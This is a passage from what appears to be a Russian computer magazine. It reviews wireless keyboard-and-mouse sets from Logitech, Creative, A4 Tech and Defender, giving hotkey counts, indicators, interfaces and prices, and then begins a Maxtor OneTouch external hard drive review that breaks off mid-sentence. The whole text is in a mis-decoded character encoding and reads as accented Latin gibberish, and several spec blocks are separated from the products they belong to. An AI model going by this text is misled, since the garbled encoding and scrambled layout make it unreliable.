ñòàíäàðòíîå

èíäèêàòîðû: íà ðåñèâåðå (caps,
num lock)
èíòåðôåéñ: ps/2 è USB
(ïåðåõîäíèê)
ìûøü: 3 êíîïêè

öåíà: $62



93

Î
Ô

Ô
Ò

Î
Ï

È
Ê

 

LOGITECH CORDLESS DESKTOP MX FOR BLUETOOTH

Ëþáèòåëÿì îñêàëåííûõ êàðìàííûõ
ïîìîùíèêîâ ýòà âåùèöà ïðèäåòñÿ ïî

âêóñó. «Ãîëóáîé çóá», îí æå Bluetooth,
ïðèçâàí ñîåäèíÿòü ïî ðàäèîêàíàëàì ëþ-
áûå óñòðîéñòâà, ïîääåðæèâàþùèå åãî. Òàê
âîò, ðåñèâåð äàííîé ìîäåëè ïî ñîâìåñòè-
òåëüñòâó åùå è Bluetooth-õàá, îí æå ïðèþ-
òèë íà ñåáå èíäèêàòîðû caps lock, num lock
è Office lock. Áîëåå òîãî, ýòî è çàðÿäêà äëÿ
àêêóìóëÿòîðîâ. Êëàâèàòóðà? Âåðíî, âñå òà
æå ÷åðíàÿ êðàñàâèöà, 19 ãîðÿ÷èõ êëàâèø,
ïîâîðîòíûé ðåãóëÿòîð ãðîìêîñòè, êîëåñî
ïðîêðóòêè. Êíîïêè, êàê è ïîëîæåíî ïîëíî-
ôîðìàòíîé êëàâèàòóðå, æåñòêèå, ãðîìêèå.
È áåç òîãî ïðèÿòíîå âïå÷àòëåíèå óñèëèâà-
åò ìûøü � MX700 (âíèìàíèå: ÷àñòîòà îïðî-
ñà � îêîëî 50 Ãö). Óäîáíî äåðæàòü, óäîáíî
áðîñàòü, à âîò ëîâèòü � íå î÷åíü. Ê êîìïü-
þòåðó ýòî äîáðî ïîäêëþ÷àåòñÿ ÷åðåç èí-
òåðôåéñ PS/2, èíà÷å íå çàéòè â BIOS, íå
ïîðàáîòàòü â DOS è ïðî÷åå � Bluetooth ðà-
áîòàåò ëèøü ïîñëå çàãðóçêè äðàéâåðà.

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 19
+ F1-F12 (Office lock) + ðîëèê
ïðîêðóòêè + ïîâîðîòíûé
ðåãóëÿòîð ãðîìêîñòè

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå
èíäèêàòîðû: íà ðåñèâåðå (caps,
num, Office, scroll lock)
èíòåðôåéñ: ps/2 è USB

ìûøü: 8 êíîïîê

öåíà: $190

LOGITECH INTERNET NAVIGATOR KEYBOARD

Ñåé ïðîäóêò ïðåäíàçíà÷åí äëÿ òåõ, êòî
÷åðòîâñêè äîâîëåí ñâîåé ìûøüþ, íî

íå êëàâèàòóðîé. Âñåì òåì, êòî, ÷èòàÿ
ïðåäûäóùèé òåñò, êàïàë ñëþíîé íà ïîë,
Logitech äàðèò âîçìîæíîñòü ïðèîáùèòüñÿ ê
ïðåêðàñíîìó çà ìåíüøóþ ñóììó, âûïóñòèâ
îòäåëüíî êëàâèàòóðó, ïðàâäà, õâîñòàòóþ
(ps/2). Ñíîâà ïîäñòàâêà äëÿ êèñòåé ðóê,
ñíîâà æåñòêèå, íî óæå áîëåå òèõèå â ðàáîòå
êëàâèøè. Ìîäåëü áåëîãî öâåòà ÿâíî
ïðîèãðûâàåò âî âíåøíåì âèäå àôðî-àìå�
÷åðíûì ñîáðàòüÿì. Êàê îïðàâäàíèå,
ãàðìîíè÷íîå ñî÷åòàíèå ñ áåëûì æå
ìîíèòîðîì. Ðóññêèå è ëàòèíñêèå áóêâû
âíîâü íàíåñåíû îäíèì öâåòîì.

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 21
+ F1-F12 (Office lock)

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: caps, num, scroll,
Office lock
èíòåðôåéñ: usb (ïåðåõîäíèê
íà ps/2)
ìûøü: íåò

öåíà: $34

LOGITECH CORDLESS DESKTOP OPTICAL

À âîò ýòîãî ÷åðíîãî æåðåáöà íå óäåð-
æàòü â îôèñå-êîíþøíå. Åìó ïîäàâàé

òàêîé æå ÷åðíûé ìîíèòîð è òàêèå æå îïëûâ-
øèå êîëîíêè. Êëàâèøè óïðàâëåíèÿ ãðîì-
êîñòüþ çàìåíåíû ïîâîðîòíûì ðåãóëÿòîðîì,
÷òî î÷åíü óäîáíî, èáî íåñåò â ñåáå åùå è
èíäèêàòîðíóþ ôóíêöèþ. Äîïîëíèòåëüíûõ
êíîïîê ïî ñðàâíåíèþ ñ äâóìÿ ïðåäûäóùèìè
ìîäåëÿìè ïðèáàâèëîñü � òåïåðü èõ 19. Ïîìè-
ìî ðåãóëÿòîðà ãðîìêîñòè ñëåâà ïîÿâèëñÿ ðî-
ëèê iNav. Îí ïðåòåíäóåò íà çàìåíó êîëåñà
ïðîêðóòêè ìûøè ïðè ðàáîòå â îôèñíûõ ïðè-
ëîæåíèÿõ, òàê êàê, â ñëó÷àå êîãäà îáå ðóêè
íà êëàâèàòóðå, òÿíóòüñÿ ê íåìó âñå æå áëè-
æå. È ñíîâà ñòàíäàðòíî ðàñïîëîæåííûå êëà-
âèøè, òîëüêî íà ñåé ðàç æåñòêèå è ãðîìêèå.
Ðåñèâåð íè÷óòü íå èçìåíèëñÿ, à âîò ìûøü
îáðîñëà ïîðèñòûìè íàêëàäêàìè, ÷òîáû íå
ñêîëüçèòü â ñàìûå æàðêèå ìîìåíòû, ñòàëà
íåñèììåòðè÷íîé, îáçàâåëàñü äîïîëíèòåëü-
íîé êíîïêîé.

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 19
+ F1-F12 (Office lock)

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: íà ðåñèâåðå (caps,
num lock)
èíòåðôåéñ: ps/2

ìûøü: 3 êíîïêè

öåíà: $39

»
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HARD

LOGITECH DINOVO MEDIA DESKTOP

Ñòèëüíàÿ, ïî÷òè ÷òî óíèêàëüíàÿ ïåðè-
ôåðèÿ. Ïðÿìûå óãëû, êëàâèøè ïî ðàç-

ìåðó ÷óòü áîëüøå îáû÷íûõ, ñ óìåíüøåííûì
õîäîì (ïî÷òè áåççâó÷íûå). Óäëèíåííàÿ ãðàíü
çàìåíÿåò ïîäñòàâêó äëÿ êèñòåé (è çäåñü
ôóíêöèîíàëüíîñòü óñòóïèëà ìåñòî äèçàéíó �
ïóñòü ïðåäîñòåðåãóòñÿ âëàäåëüöû êîìïüþ-
òåðíûõ ñòîëîâ ñ ëîòêàìè äëÿ êëàâèàòóð).
Âîñüìèêíîïî÷íàÿ ìûøü � MX900, ÷àñòîòà åå
îïðîñà � 80 Ãö (ïóñòü áóäóò îñìîòðèòåëüíû
ëþáèòåëè 3D action). Ðåñèâåð òàêîé æå, êàê è â
ïðåäûäóùåé ìîäåëè. Ñòîèò îòäåëüíî îòìåòèòü
öèôðîâóþ êëàâèàòóðó (MediaPad), âûíåñåí-
íóþ êàê îòäåëüíûé áëîê. Îíà ñî÷åòàåò â ñåáå
ôóíêöèè êàëüêóëÿòîðà, íåïîñðåäñòâåííî êëà-
âèàòóðû è ïóëüòà ÄÓ (â òîì ÷èñëå áëàãîäàðÿ
íàëè÷èþ ìåäèàêëàâèø), èáî òîæå ñ ãîëóáûì
çóáîì (ðàäèóñ äåéñòâèÿ � äî 10 ì). Òðåõñòðî÷-
íûé ÆÊ-äèñïëåé ñïîñîáåí îòîáðàæàòü íå
òîëüêî öèôðû (êàê è ïîëîæåíî êàëüêóëÿòîðó),
íî è òåêóùèé ìóçûêàëüíûé òðåê. Áðàâî!

»

CREATIVE DESKTOP WIRELESS 8000

Íàáîð âûïîëíåí â ìîäíîì ñî÷åòàíèè
÷åðíîãî è ñåðåáðÿíîãî öâåòîâ. Íàæà-

òèå êëàâèø äîâîëüíî óïðóãîå, ãëóáîêîå,
áåççâó÷íîå. Ïîäêëàäêà äëÿ çàïÿñòèé ñèäèò
íåïëîòíî, åñòü çàçîð, êîòîðûé, âåðîÿòíî, áó-
äåò ñîáèðàòü ãðÿçü. Ñèìâîëû ëàòèíèöû íà-
íåñåíû áåëûì, à êèðèëëèöû � áîðäîâûì öâå-
òîì. Äëÿ òîãî ÷òîáû ðàçãëÿäåòü èõ, ïîòðåáó-
åòñÿ ÿðêèé èñòî÷íèê ñâåòà. Ðîëèêè ïðîêðóò-
êè íà êëàâèàòóðå è íà ìûøè èçäàþò ðàçäðà-
æàþùèé ãðîìêèé çâóê. Èç-çà òàëèè ìûøü
áóäåò íåóäîáíî äåðæàòü ëþäÿì ñ áîëüøîé
ëàäîíüþ. Áîëåå òîãî, ìûøü òåðÿåò ñâÿçü ñ
ðåñèâåðîì óæå íà ðàññòîÿíèè â 130 ñì. Îòñó-
òñòâóþò èíäèêàòîðû Caps è Num lock.

»

êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 11
+ 8 íà MediaPad
ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: íà ðåñèâåðå (caps,
Office lock)
èíòåðôåéñ: ps/2 è USB

ìûøü: 8 êíîïîê
öåíà: $318

êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 21
+ ðîëèê ïðîêðóòêè
ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå
èíäèêàòîðû: íåò
èíòåðôåéñ: USB

ìûøü: 3 êíîïêè

öåíà: $57

A4 TECH WIRELESS DESKTOP KBS-21533RP

Ñî÷åòàíèå ÷åðíîãî è ñåðåáðÿíîãî öâå-
òîâ � ïðîèçâîäèòåëè íàâåðíÿêà õîòå-

ëè óãîäèòü âëàäåëüöàì ÆÊ-ìîíèòîðîâ, îêðà-
øåííûõ îáû÷íî èìåííî â ýòè öâåòà. Ñ ìî-
ëî÷íî-áåëûì ýëåêòðîëó÷åâûì ðàäèàòîðîì
íà ñòîëå ãàðìîíèè íå äîáèòüñÿ. Êëàâèøè À-
îáðàçíîé ôîðìû �  ïðîÿâëåíèå çàáîòû î íà-
øèõ êèñòÿõ. Â ñàìîì äåëå, åñëè çàñòàâèòü ñå-
áÿ ïðîéòè ÷åðåç ïàðó ÷àñîâ ïðîìàõîâ ïî
êíîïêàì, ìîæíî âûáðàòüñÿ èç òåðíèé ê çâåç-
äàì. Îäíàêî âîò ÷òî ñòðàííî: íàìåêàÿ òàêèì
îáðàçîì íà ýðãîíîìè÷íîñòü, ïðîèçâîäèòåëü
ñîâñåì çàáûë îá óïîðå äëÿ êèñòåé ðóê. Íà-
æèìàþòñÿ êëàâèøè çâó÷íî, ÷óòü ìÿã÷å ïðè-
âû÷íîãî. 16 ãîðÿ÷èõ êëàâèø ïîëíîñòüþ ïå-
ðåïðîãðàììèðóåìû. Îòñóòñòâóþò êàêèå-ëèáî
èíäèêàòîðû Caps è Num lock, ìîíèòîðèòü ýòè
ðåæèìû ìîæíî ïîñëå óñòàíîâêè ÏÎ (ñ äèñêå-
òû). Ïðîñòàÿ ìûøü äîïîëíÿåò êàðòèíó � íà-
áîð ÿâíî îôèñíûé. Ðåñèâåð óìååò çàðÿæàòü
áàòàðåéêè òèïà ÀÀÀ, ïðèíèìàåò ñèãíàë êëà-
âèàòóðû áîëåå ÷åì ñ 5 ì, à ìûøè � 2,5 ì.

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 16

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: íåò
èíòåðôåéñ: ps/2
ìûøü: 3 êíîïêè

öåíà: $38
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A4 TECH WIRELESS DESKTOP KBS-1527RP

Ïðÿìîóãîëüíûé âàðèàíò, ñíîâà ñåðåáðÿíî-÷åðíûå
òîíà. Âûãëÿäèò ëó÷øå, àêêóðàòíåå ïðåäøåñòâåííè-

êà, íà âåñ êëàâèàòóðà îêàçàëàñü ëåã÷å. Êëàâèøè ñíîâà À-
îáðàçíûå, è ñíîâà íåò ïîäñòàâêè äëÿ êèñòåé. Ïîìåíÿëàñü
ìûøü: òåïåðü îíà íå ðàñøèðÿåòñÿ, à ñóæàåòñÿ ê çàïÿñòüþ,
íî âñå òå æå òðè êíîïêè. Ïàðó ñëîâ î ðåñèâåðå: âîîáùå, îí
ìîæåò çàðÿæàòü áàòàðåè è ïðè âûêëþ÷åííîì êîìïüþòåðå,
åñëè òîò óìååò âêëþ÷àòüñÿ ïî íàæàòèþ çàäàííîé êëàâè-
øè (èëè èõ ñî÷åòàíèÿ). Áàòàðåè (ÀÀÀ, êîòîðûå çàðÿæàåò
ðåñèâåð), ïðèëàãàþùèåñÿ â êîëè÷åñòâå 4 øòóê, ðàçðÿæà-
þòñÿ ãðûçóíîì êàòàñòðîôè÷åñêè áûñòðî (ñèòóàöèÿ ïîâòî-
ðÿåòñÿ è ñ A4 tech Wireless Desktop KBS-21533RP). Ãîðÿ÷èõ
êëàâèø 17, âñå îíè ìîãóò ïåðåïðîãðàììèðîâàòüñÿ. Ñíîâà
îòñóòñòâóþò èíäèêàòîðû Caps è Num lock. Ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø (del, home, end, ins, pg up/down),
êàê è â ïðåäûäóùåì âàðèàíòå, íåñòàíäàðòíî è åäâà ëè
óäîáíî � ýòî, ñêîðåå, åùå îäèí ýëåìåíò äèçàéíà.

»

A4 TECH WIRELESS DESKTOP KBS-2548RP

Íåñáàëàíñèðîâàííûé íàáîð. Âñïîìîãàòåëüíàÿ
êëàâèàòóðà ðàñïîëîæåíà íå ñïðàâà, à ñëåâà, ïðè-

÷åì åùå è çåðêàëüíî îòðàæåíà. Ðàíî ðàäóþòñÿ ëåâøè �
ìûøü íåñèììåòðè÷íàÿ, ïîä ïðàâóþ ðóêó. Òåïåðü âëà-
äåëüöó òàêîãî ñåðåáðÿíî-÷åðíîãî äðóãà ïðèäåòñÿ ïîðà-
áîòàòü íàä ñîáîé, ÷òîáû íàó÷èòñÿ âáèâàòü öèôðû ëå-
âîé ðóêîé (êðàñêè ñãóùàåò çåðêàëüíîå îòðàæåíèå ðÿ-
äîâ öèôð). Ïîëîæåíèå ìîæåò ñïàñòè ðîëèê ïðîêðóòêè
òåêñòà, ðàñïîëîæåííûé íà ïðàâîì ðåáðå êëàâèàòóðû.
Ãîðÿ÷èõ êëàâèø ñòàëî 19, êëàâèøè F1-F12 ìîãóò ìåíÿòü
ñâîå íàçíà÷åíèå, îíè, ïî ñóòè, òîæå ãîðÿ÷èå. È ñíîâà
îáåñêóðàæèâàåò îòñóòñòâèå ñâåòîäèîäîâ, ñèãíàëèçèðó-
þùèõ, â òîì ÷èñëå, è î ðåæèìå êëàâèø F1-F12 (äëÿ íèõ, ê
ñîæàëåíèþ, íå ïîìîæåò äàæå óñòàíîâêà ÏÎ). Ìûøü
óäîáíî ëîæèòñÿ â ðóêó, íåñèììåòðè÷íàÿ. Ðåñèâåð æå
íåñìîòðÿ íà ñâîþ èäåíòè÷íîñòü íåóñòîé÷èâ, òåðÿåò ñèã-
íàë ìûøè íà 1,5 ì, à êëàâèàòóðû � íà 2,5 ì.

»

êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 17 

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: íåò
èíòåðôåéñ: ps/2
ìûøü: 3 êíîïêè
öåíà: $34

A4 TECH MEDIAWEB DESKTOP ZOOM KBS-2350 ZRP

Âñå òà æå öâåòîâàÿ ãàììà, âñå òå æå íàêëîííûå
À-îáðàçíûå êëàâèøè. Íàêîíåö-òî ïîÿâèëàñü

ïîäñòàâêà äëÿ êèñòåé ðóê. Êàê âñåãäà â òàêèõ ñëó÷àÿõ,
âëàäåëüöàì êîìïüþòåðíûõ ñòîëîâ ñòîèò óäîñòîâå-
ðèòüñÿ â òîì, ÷òî íàæèìàòü ãîðÿ÷èå êëàâèøè, ðàñïî-
ëîæåííûå ïî âåðõíåé ãðàíè, ïðè èñïîëüçîâàíèè
ïîäñòàâêè áóäåò ñïîäðó÷íî. Êîëåñèêî äëÿ ïðîêðóòêè
òåêñòà íà ñåé ðàç ðàñïîëîæåíî óäîáíî, à 21 ãîðÿ÷óþ
êëàâèøó, êàê âñåãäà, ìîæíî ïåðåïðîãðàììèðîâàòü ïî
ñâîåìó æåëàíèþ. Íåñòàíäàðòíîå ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø è îòñóòñòâèå ñâåòîäèîäîâ �
ýòî òå ñàìûå êàïëè äåãòÿ â áî÷êå ìåäà. Îòäåëüíîãî
âíèìàíèÿ äîñòîéíà ìûøü: ñðàçó çà åå ðîëèêîì ðàñ-
ïîëîæèëèñü êëàâèøè zoom+ è zoom-.

»

DEFENDER WIRELESS MULTIMEDIA SET S WRS-1080 W (WRS 1080 B)

Äâå ýòè ìîäåëè îòëè÷àþòñÿ ëèøü öâåòîì: W �
ìîëî÷íî-áåëàÿ ñ äîáàâëåíèåì ñåðîãî íà ãðà-

íÿõ, à B � ÷åðíàÿ. È åñëè â ïåðâîì ñëó÷àå áóêâû êè-
ðèëëèöû îáîçíà÷åíû êðàñíûì, à ëàòèíèöû � ÷åðíûì,
òî âî âòîðîì ñëó÷àå è òà è äðóãàÿ ðàñêëàäêè îäèíàêî-
âî áåëûå. Âïðî÷åì, ýòî íå äîëæíî îñòàíàâëèâàòü òåõ,
êòî ïå÷àòàåò, íå ãëÿäÿ íà êëàâèàòóðó. Ýòî ñàìàÿ ÷òî
íè íà åñòü ñòàíäàðòíàÿ êëàâèàòóðà ñ 18 ãîðÿ÷èìè êëà-
âèøàìè, áåç êàêèõ-ëèáî èçûñêîâ. Íàæàòèå êëàâèø
äîñòàòî÷íî òèõîå. Ïîäõîäèò äëÿ òîãî, ÷òîáû íå ñïåøà
êëàöàòü â êîìíàòå, ãäå ñïèò ÷åëîâåê. Îäíàêî ïðîñòàÿ
äâóõêíîïî÷íàÿ ìûøü ñâîèì ðåâîì ïðè âðàùåíèè êî-
ëåñèêà íàðóøàåò èäèëëèþ. Ïîäîáíî ìîäåëÿì îò A4
tech îòñóòñòâóþò èíäèêàòîðû Caps, Num, Scroll lock. 

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø:
18

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå
èíäèêàòîðû: íåò
èíòåðôåéñ: USB
ìûøü: 3 êíîïêè

öåíà: $35

êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 19
+ F1-F12 (Office lock) + ðîëèê
ïðîêðóòêè (ñïðàâà)

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: íåò

èíòåðôåéñ: USB

ìûøü: 3 êíîïêè

öåíà: $46

êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 21
+ ðîëèê ïðîêðóòêè

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: íåò
èíòåðôåéñ: USB

ìûøü: 5 êíîïîê

öåíà: $43

»
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DEFENDER WIRELESS MULTIMEDIA SET M WRS-1050 B

Ýòà êëàâèàòóðà åùå áëèæå ê òîìó îá-
ðàçó, ÷òî ñëîæèëñÿ â óìàõ ïîëüçîâàòå-

ëåé, � íèêàêèõ èçûñêîâ è äèçàéíåðñêèõ óõèù-
ðåíèé, äàæå ãîðÿ÷èå êëàâèøè, êîèõ 17, ðàñïî-
ëîæåíû ðàâíîìåðíî â îäíó ëèíèþ. Ïîäêëàä-
êà äëÿ êèñòåé íåñêîëüêî óâåëè÷èâàåò êëàâè-
àòóðó â ðàçìåðå, íî ðàáîòàòü ñ ãîðÿ÷èìè êëà-
âèøàìè è â òàêîì ñëó÷àå óäîáíî, ñèäÿ çà
êîìïüþòåðíûì ñòîëîì. Êëàâèøè èçäàþò åä-
âà ñëûøíûé øîðîõ, íàæèìàþòñÿ ìÿãêî. Ñèì-
âîëû êèðèëëèöû è ëàòèíèöû íàíåñåíû îäè-
íàêîâûì øðèôòîì è öâåòîì, òàê ÷òî âèçóàëü-
íî î÷åíü ñëîæíî èõ îòëè÷àòü. È Defender
íàñòóïèë íà èçëþáëåííûå ãðàáëè A4 tech �
èíäèêàòîðîâ Caps lock è Num lock íåò. Ãðû-
çóí, êàê è ïîëîæåíî ñòàíäàðòíîìó, ñèììåòðè-
÷åí. Ïî ñëîæèâøåéñÿ òðàäèöèè îí íå òî êâà-
êàåò, íå òî óð÷èò ïðè âðàùåíèè êîëåñèêà.

»
êîëè÷åñòâî ãîðÿ÷èõ êëàâèø: 17

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå
èíäèêàòîðû: íåò
èíòåðôåéñ: ps/2

ìûøü: 3 êíîïêè
öåíà: $24

DEFENDER WRS 2050 PHANTOM

×åðíàÿ ñ âêðàïëåíèÿìè ñåðåáðÿíîãî
öâåòà, ýòà êëàâèàòóðà îêàçûâàåòñÿ â

ïîëòîðà ðàçà øèðå ñòàíäàðòíîé. Íèæíÿÿ
ãðàíü âûòÿíóòà ê ïîëüçîâàòåëþ, ïðèçûâàÿ
âîäðóçèòü íà ñåáÿ çàïÿñòüÿ. Íå òóò òî áûëî �
çàïÿñòüÿ ïîïàäàþò êàê ðàç íà êðàé ðåáðà,
÷òî îòíþäü íå ÿâëÿåòñÿ ýðãîíîìè÷íûì. Êëà-
âèøè ãóëêî øóðøàò, íàæèìàþòñÿ ñ ëåãêèì
óñèëèåì. Ïðèñóòñòâóåò êîëåñèêî äëÿ ïðîê-
ðóòêè òåêñòà è ïîâîðîòíûé ðåãóëÿòîð ãðîì-
êîñòè. Âñåãî 8 èç 18 ãîðÿ÷èõ êëàâèø ïîääà-
þòñÿ äðåññèðîâêå (ïåðåïðîãðàììèðîâà-
íèþ). Èç âñåõ íóæíûõ èíäèêàòîðîâ òîëüêî
îäèí � íèçêîãî óðîâíÿ çàðÿäêè áàòàðåé (ýòà
ïðîáëåìà ðåøàåòñÿ ïîñëå óñòàíîâêè ÏÎ).
Ðàñïîëîæåíèå ôóíêöèîíàëüíûõ êëàâèø
íåñòàíäàðòíîå. ×åòûðåõêíîïî÷íàÿ ìûøü
ñíîâà êâàêàåò, íî óæå ÷óòü òèøå.

»

ÂÛÂÎÄÛ
Êàæäûé âûáèðàåò ïî âêóñó: êîìó-òî õî÷åòñÿ âñå

ïðèâÿçàòü ê ãîðÿ÷èì êëàâèøàì, ÷òîáû íå òåðÿòü âðåìÿ íà

ïåðåìåùåíèå ïî ïàïêàì, êòî-òî õî÷åò óêðàñèòü ðàáî÷èé

ñòîë ýêñêëþçèâíîé âåùèöåé, à êîå-êòî íàìåðåí êóïèòü

êëàâèàòóðó äëÿ ýòîé æèçíè, íå òðàòèòü äåíåã âïóñòóþ.

Áëàãî, åñòü èç ÷åãî âûáèðàòü.

DEFENDER WRS 2080 CARDINAL

Ìàëî òîãî, ÷òî ýòà êëàâèàòóðà â ïîëòîðà
ðàçà øèðå ïðåäøåñòâåííèöû, òàê ê íåé

åùå ïðèñòåãèâàåòñÿ ïîäñòàâêà äëÿ êèñòåé! Â
èòîãå, ñèäÿ çà êîìïüþòåðíûì ñòîëîì, äîñòàòü
äî ãîðÿ÷èõ êëàâèø íåâîçìîæíî â ïðèíöèïå. À
èõ, ê ñëîâó ñêàçàòü, íè ìíîãî íè ìàëî, 44, ýòî
âìåñòå ñ F1-F12 (ïåðåêëþ÷åíèå ðåæèìîâ ñ ïî-
ìîùüþ Office lock). Òóò è ðîëèê ïðîêðóòêè òåêñ-
òà, è ïîâîðîòíûé ðåãóëÿòîð ãðîìêîñòè, è âñå
îñòàëüíîå, ÷òî òîëüêî ìîæíî âîîáðàçèòü. Ïîä-
äàþòñÿ äðåññèðîâêå òîëüêî 12 ãîðÿ÷èõ êëà-
âèø. Êëàâèàòóðà òèõàÿ, åäâà-åäâà øóðøèò ïðè
íàæàòèè êëàâèø. Ðåñèâåð ïîìèìî ñâîèõ îñ-
íîâíûõ çàäà÷ ìîíèòîðèò ðåæèìû Caps, Num
Office, Scroll lock è íèçêèé óðîâåíü çàðÿäêè áà-
òàðåé. Ìûøü ÷åòûðåõêíîïî÷íàÿ, ïðè ýòîì ÷åò-
âåðòàÿ, òàê óäîáíî ðàñïîëîæèâøàÿñÿ êëàâè-
øà íàæèìàåòñÿ ÷åðåñ÷óð ëåãêî, ÷òî ìîæåò ïî-
ìåøàòü èìïóëüñèâíûì èãðîêàì.

»

êîëè÷åñòâî ãîðÿ÷èõ êëàâèø:
18 + ðîëèê ïðîêðóòêè +
ïîâîðîòíûé ðåãóëÿòîð
ãðîìêîñòè

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå

èíäèêàòîðû: Battery charge
èíòåðôåéñ: USB
ìûøü: 4 êíîïêè

öåíà: $36

êîëè÷åñòâî ãîðÿ÷èõ êëàâèø:
32 + F1-F12 (Office lock) + ðîëèê
ïðîêðóòêè + ïîâîðîòíûé
ðåãóëÿòîð ãðîìêîñòè

ðàñïîëîæåíèå
ôóíêöèîíàëüíûõ êëàâèø:
ñòàíäàðòíîå
èíäèêàòîðû: íà ðåñèâåðå (caps,
num, scroll, Office lock, Battery
charge)
èíòåðôåéñ: ps/2
ìûøü: 4 êíîïêè

öåíà: $42
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Ñîâñåì íåäàâíî êîì-
ïàíèÿ Maxtor ïðåäñòà-
âèëà íîâóþ ñåðèþ
âíåøíèõ âèí÷åñòåðîâ
OneTouch (â ëèíåéêó

âõîäÿò ìîäåëè îáúåìîì 80, 120, 160,
200, 250 è 300 Ãá). Ïî áîëüøåé ÷àñòè
îíè ïðåäíàçíà÷åíû äëÿ ðåçåðâíîãî
ñîõðàíåíèÿ äàííûõ (backup), ÷òî,
ñîáñòâåííî, è îáîçíà÷àåòñÿ ïðîèçâî-
äèòåëåì. 

Ïîãîâîðèì ïîäðîáíåå î 250-ãèãîâîì
âèí÷åñòåðå Maxtor. Äèñê ìîæíî èñ-
ïîëüçîâàòü íå òîëüêî äëÿ áýêàïà,
âåäü 250 Ãá íà áîðòó è ñêîðîñòíûå
èíòåðôåéñû ïîçâîëÿþò ðàáîòàòü ñ
äàííûìè íà âûñîêèõ ñêîðîñòÿõ (ñì.
òåõíè÷åñêèå õàðàêòåðèñòèêè).

Ó äåâàéñà èìååòñÿ ðÿä èíòåðåñíûõ
îñîáåííîñòåé. Êðîìå ãîðÿ÷åé çàìåíû
(êîòîðàÿ ïîääåðæèâàåòñÿ ñàìèìè èí-
òåðôåéñàìè USB è FireWire), èìååòñÿ
âîçìîæíîñòü íàñòðîéêè êíîïêè íà ïå-
ðåäíåé ïàíåëè, ïî óìîë÷àíèþ ÿâëÿþ-
ùåéñÿ êíîïêîé áýêàïà, íà çàïóñê
ïðîãðàììû èëè âûïîëíåíèå ñèñòåì-
íîé ôóíêöèè (òà ñàìàÿ "OneTouch" �
"îäíî ïðèêîñíîâåíèå"). Ïðàâäà, äëÿ
çàäåéñòâîâàíèÿ ýòîé ôóíêöèè íóæíî
óñòàíîâèòü ïðèëàãàþùååñÿ ÏÎ (Dantz
Retrospect Express). Ê ñëîâó ñêàçàòü, â
Windows XP SP2 äëÿ óñòàíîâêè âèí-
÷åñòåðà äàæå íå òðåáóåòñÿ äèñê ñ
äðàéâåðàìè, ïîñêîëüêó ÎÑ ñàìà îïðå-
äåëÿåò è óñòàíàâëèâàåò óñòðîéñòâî.
Åñòü åùå îäíà íåìàëîâàæíàÿ îñîáåí-
íîñòü � óïðàâëåíèå ïèòàíèåì, ïðè÷åì
ðåàëèçîâàíà îíà äâóìÿ ñïîñîáàìè: â
ðó÷íîì è àâòîìàòè÷åñêîì ðåæèìàõ. Â
ðó÷íîì ðåæèìå óïðàâëåíèå îñóùåñ-
òâëÿåòñÿ ïîñðåäñòâîì âûêëþ÷àòåëÿ
íà çàäíåé ïàíåëè óñòðîéñòâà (òî åñòü
êîãäà íå òðåáóåòñÿ ðàáîòà ñ HDD,
ìîæíî ïðîñòî åãî îòêëþ÷èòü, íå âû-
íèìàÿ èç ðîçåòêè). Âòîðîé ñïîñîá: ïðè
ïîìîùè âõîäÿùèõ â êîìïëåêò óòèëèò
ìîæíî íàñòðîèòü âðåìÿ, ÷åðåç êîòî-
ðîå âèí÷åñòåð óõîäèò â ñïÿùèé ðå-
æèì è çàòåì îòêëþ÷àåòñÿ.

Òåïåðü î íà÷èíêå. Èíòåðôåéñ
FireWire ñîáðàí íà ÷èïñåòå Oxford 911,
÷òî ãàðàíòèðóåò âûñîêèå êà÷åñòâî è
ñêîðîñòü ðàáîòû ïðè ïîäêëþ÷åíèè íà-
êîïèòåëÿ ÷åðåç ñîîòâåòñòâóþùèé
ðàçúåì, ïðè÷åì ïîääåðæèâàþòñÿ ñêî-
ðîñòè äî 400 Ìá/ñåê (ïî øèíå). À âòî-
ðîé ðàçúåì IEEE 1394 äàåò âîçìîæ-
íîñòü ïîäêëþ÷åíèÿ äîïîëíèòåëüíûõ
óñòðîéñòâ, êîòîðûå èñïîëüçóþò
FireWire, íåïîñðåäñòâåííî ê HDD. Ìî-

òîð âûïîëíåí ñ èñïîëüçîâàíèåì æèä-
êîñòíûõ äèíàìè÷åñêèõ ïîäøèïíèêîâ,
è ïîýòîìó ðàáîòàþùèé âèí÷åñòåð
ïðàêòè÷åñêè íå ñëûøíî äàæå ïðè àê-
òèâíîé ïåðåäà÷å äàííûõ.

Êîðïóñ ñäåëàí èç àëþìèíèÿ, áëàãî-
